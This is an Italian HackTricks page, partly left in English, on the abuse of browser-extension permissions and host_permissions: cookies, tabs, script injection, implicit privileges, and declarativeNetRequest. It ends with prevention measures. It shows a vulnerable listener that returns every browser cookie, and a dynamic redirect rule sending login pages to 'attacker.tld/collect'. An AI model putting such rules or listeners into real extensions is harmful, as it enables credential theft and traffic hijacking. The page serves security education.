BrowExt - permissions & host_permissions

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni di base

permissions

I permessi sono definiti nel file dell’estensione manifest.json usando la proprietà permissions e consentono l’accesso a quasi tutto ciò a cui un browser può accedere (Cookies o Physical Storage):

Il manifest precedente dichiara che l’estensione richiede il permesso storage. Questo significa che può usare the storage API per memorizzare i suoi dati in modo persistente. A differenza dei cookie o delle API localStorage che danno agli utenti un certo livello di controllo, lo storage delle estensioni può normalmente essere cancellato solo disinstallando l’estensione.

Un’estensione richiederà i permessi indicati nel suo file manifest.json e dopo aver installato l’estensione, puoi controllare sempre i suoi permessi nel tuo browser, come mostrato in questa immagine:

You can find the complete list of permissions a Chromium Browser Extension can request here and a complete list for Firefox extensions here.

host_permissions

L’impostazione opzionale ma potente host_permissions indica con quali host l’estensione potrà interagire tramite api come cookies, webRequest, e tabs.

Le seguenti host_permissions permettono fondamentalmente l’accesso a tutti i siti web:

"host_permissions": [
"*://*/*"
]

// Or:
"host_permissions": [
"http://*/*",
"https://*/*"
]

// Or:
"host_permissions": [
"<all_urls>"
]

Questi sono gli hosts che l’estensione del browser può accedere liberamente. Questo perché quando un’estensione del browser chiama fetch("https://gmail.com/") non è soggetta a restrizioni CORS.

Abuso di permissions e host_permissions

Cookies

Il permesso cookies permette all’estensione di accedere a tutti i cookies del browser. In this blog post questo permesso è stato sfruttato tramite uno script di background vulnerabile per abusare di un’estensione del browser e fornire all’attaccante tutti i cookies del browser dell’utente vittima che ha visitato la pagina web malevola. Il codice vulnerabile inviava semplicemente indietro tutti i cookie:

chrome.runtime.onMessage.addListener(
function(request, sender, sendResponse) {
if (request.action == "getCookies") {
chrome.cookies.getAll({}, function(cookies) {
sendResponse({data: cookies});
});
}
return true;
}
);

Schede

Moreover, host_permissions also unlock “advanced” tabs API functionality. They allow the extension to call tabs.query() and not only get a list of user’s browser tabs back but also learn which web page (meaning address and title) is loaded.

Caution

Not only that, listeners like tabs.onUpdated become way more useful as well. These will be notified whenever a new page loads into a tab.

Esecuzione di content scripts

I content scripts non sono necessariamente scritti staticamente nel manifest dell’estensione. Con sufficienti host_permissions, le estensioni possono anche caricarli dinamicamente chiamando tabs.executeScript() o scripting.executeScript().

Entrambe le API permettono di eseguire non solo file contenuti nelle estensioni come content scripts, ma anche codice arbitrario. La prima permette di passare codice JavaScript come stringa mentre la seconda si aspetta una funzione JavaScript, meno soggetta a vulnerabilità di injection. Tuttavia, entrambe le API possono causare gravi problemi se usate in modo improprio.

Caution

In addition to the capabilities above, content scripts could for example intercept credentials as these are entered into web pages. Another classic way to abuse them is injecting advertising on each an every website. Adding scam messages to abuse credibility of news websites is also possible. Finally, they could manipulate banking websites to reroute money transfers.

Privilegi impliciti

Alcuni privilegi delle estensioni non devono essere dichiarati esplicitamente. Un esempio è la tabs API: la sua funzionalità di base è accessibile senza alcun privilegio. Qualsiasi estensione può essere notificata quando apri o chiudi schede, semplicemente non saprà a quali siti corrispondono queste schede.

Ti sembra troppo innocuo? La tabs.create() API lo è un po’ meno. Può essere usata per create a new tab, sostanzialmente come window.open() che può essere chiamato da qualsiasi sito. Tuttavia, mentre window.open() è soggetto al pop-up blocker, tabs.create() isn’t.

Caution

An extension can create any number of tabs whenever it wants.

Se esamini i possibili parametri di tabs.create(), noterai anche che le sue capacità vanno ben oltre ciò che window.open() può controllare. E mentre Firefox non permette l’uso di URI data: con questa API, Chrome non offre tale protezione. Use of such URIs on the top level has been banned due to being abused for phishing.

tabs.update() è molto simile a tabs.create() ma modifica una scheda esistente. Quindi un’estensione malevola può ad esempio caricare arbitrariamente una pagina pubblicitaria in una delle tue schede e può anche attivare la scheda corrispondente.

Webcam, geolocation e simili

Probabilmente sai che i siti web possono richiedere permessi speciali, per esempio per accedere alla tua webcam (strumenti di video conferenza) o alla posizione geografica (mappe). Sono funzionalità con un notevole potenziale di abuso, quindi gli utenti devono confermare ogni volta che vogliono concederle.

Caution

Not so with browser extensions. If a browser extension wants access to your webcam or microphone, it only needs to ask for permission once

Tipicamente, un’estensione lo fa subito dopo l’installazione. Una volta che questa richiesta viene accettata, l’accesso alla webcam è possibile in qualsiasi momento, anche se l’utente non sta interagendo con l’estensione in quel momento. Sì, un utente accetterà questa richiesta solo se l’estensione ha davvero bisogno della webcam. Ma dopo ciò deve fidarsi che l’estensione non registri nulla di nascosto.

Con accesso a [your exact geographical location] o [contents of your clipboard], concedere il permesso esplicitamente non è affatto necessario. Un’estensione semplicemente aggiunge geolocation o clipboard alla permissions entry del suo manifest. Questi privilegi di accesso vengono poi concessi implicitamente al momento dell’installazione dell’estensione. Quindi un’estensione malevola o compromessa con questi privilegi può creare il tuo profilo di spostamenti o monitorare il tuo clipboard alla ricerca di password copiate senza che tu te ne accorga.

Aggiungere la keyword history alla permissions entry del manifest dell’estensione concede accesso alla history API. Permette di recuperare l’intera cronologia di navigazione dell’utente in una sola volta, senza aspettare che l’utente visiti nuovamente quei siti.

La permission bookmarks ha un potenziale di abuso simile: permette di leggere tutti i segnalibri tramite la bookmarks API.

Permesso di storage

Lo storage dell’estensione è semplicemente una collezione key-value, molto simile a [localStorage] che qualsiasi sito può usare. Quindi non dovrebbero essere memorizzate informazioni sensibili qui.

Tuttavia, anche le società pubblicitarie potrebbero abusare di questo storage.

Altri permessi

Manifest V3 ha separato l’accesso alle pagine dai permessi API: permissions controlla ancora le API privilegiate (cookies, tabs, history, scripting, ecc.) mentre host_permissions determina quali origin questi API possono toccare. MV3 ha inoltre reso i host permissions concedibili a runtime, quindi le estensioni possono essere distribuite senza e mostrare un prompt di consenso successivamente tramite chrome.permissions.request()—comodo per flussi legittimi a principio del minimo privilegio, ma anche abusato da malware per scalare privilegi dopo aver ottenuto reputazione.

Una variante furtiva è declarativeNetRequestWithHostAccess (Chrome ≥96). Fornisce lo stesso potere di bloccare/reindirizzare richieste di declarativeNetRequest ma mostra un prompt di installazione più debole rispetto ai host permissions <all_urls>. Estensioni malevole lo usano per ottenere silenziosamente la capacità di “bloccare/reindirizzare su qualsiasi sito”; testa i prompt con chrome://extensions/?errors e chrome://extensions/?id=<id>.

Le regole dinamiche di declarativeNetRequest permettono a un’estensione di riprogrammare la policy di rete a runtime. Con accesso host <all_urls> un attaccante può trasformarla in arma per dirottare il traffico o esfiltrare dati. Esempio:

chrome.declarativeNetRequest.updateDynamicRules({
addRules: [{
id: 9001,
priority: 1,
action: {
type: "redirect",
redirect: { url: "https://attacker.tld/collect" }
},
condition: { urlFilter: "|http*://*/login", resourceTypes: ["main_frame"] }
}]
});

Chrome ha aumentato i limiti delle regole MV3 (≈330k statiche / 30k dinamiche), quindi set di copertura estesi sono fattibili per l’intercettazione/iniezione di annunci.

Modelli di abuso recenti

  • Supply-chain trojanized updates: Account sviluppatore rubati pubblicano aggiornamenti MV3 che aggiungono <all_urls> più declarativeNetRequest/scripting/webRequest per iniettare JS remoto ed esfiltrare header/contenuto DOM.
  • Wallet drains: L’accesso agli host insieme a storage e tabs permette a estensioni backdoored di esfiltrare seed; chiavi API del Web Store rubate sono state usate per distribuire build malevoli.
  • Cookie theft: Qualsiasi estensione con cookies + ampio accesso agli host può leggere i cookie di autenticazione nonostante HttpOnly — considera quella combinazione capace di rubare credenziali.

Prevenzione

La policy degli sviluppatori Google vieta esplicitamente alle estensioni di richiedere più privilegi del necessario per la loro funzionalità, mitigando di fatto le richieste di permessi eccessivi. Un caso in cui un’estensione ha oltrepassato questo limite riguardava la sua distribuzione insieme al browser stesso anziché tramite uno store di add-on.

I browser potrebbero limitare ulteriormente l’abuso dei privilegi delle estensioni. Per esempio, le API di Chrome tabCapture e desktopCapture, usate per la registrazione dello schermo, sono progettate per minimizzare gli abusi. L’API tabCapture può essere attivata solo tramite interazione diretta dell’utente, come il clic sull’icona dell’estensione, mentre desktopCapture richiede la conferma dell’utente per la finestra da registrare, prevenendo attività di registrazione clandestina.

Tuttavia, inasprire le misure di sicurezza spesso si traduce in minore flessibilità e usabilità delle estensioni. La activeTab permission illustra questo compromesso. È stata introdotta per eliminare la necessità che le estensioni richiedano privilegi sugli host per tutto Internet, permettendo alle estensioni di accedere solo alla scheda corrente dopo l’attivazione esplicita da parte dell’utente. Questo modello è efficace per estensioni che richiedono azioni avviate dall’utente ma è insufficiente per quelle che richiedono azioni automatiche o anticipate, compromettendo così comodità e reattività immediata.

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks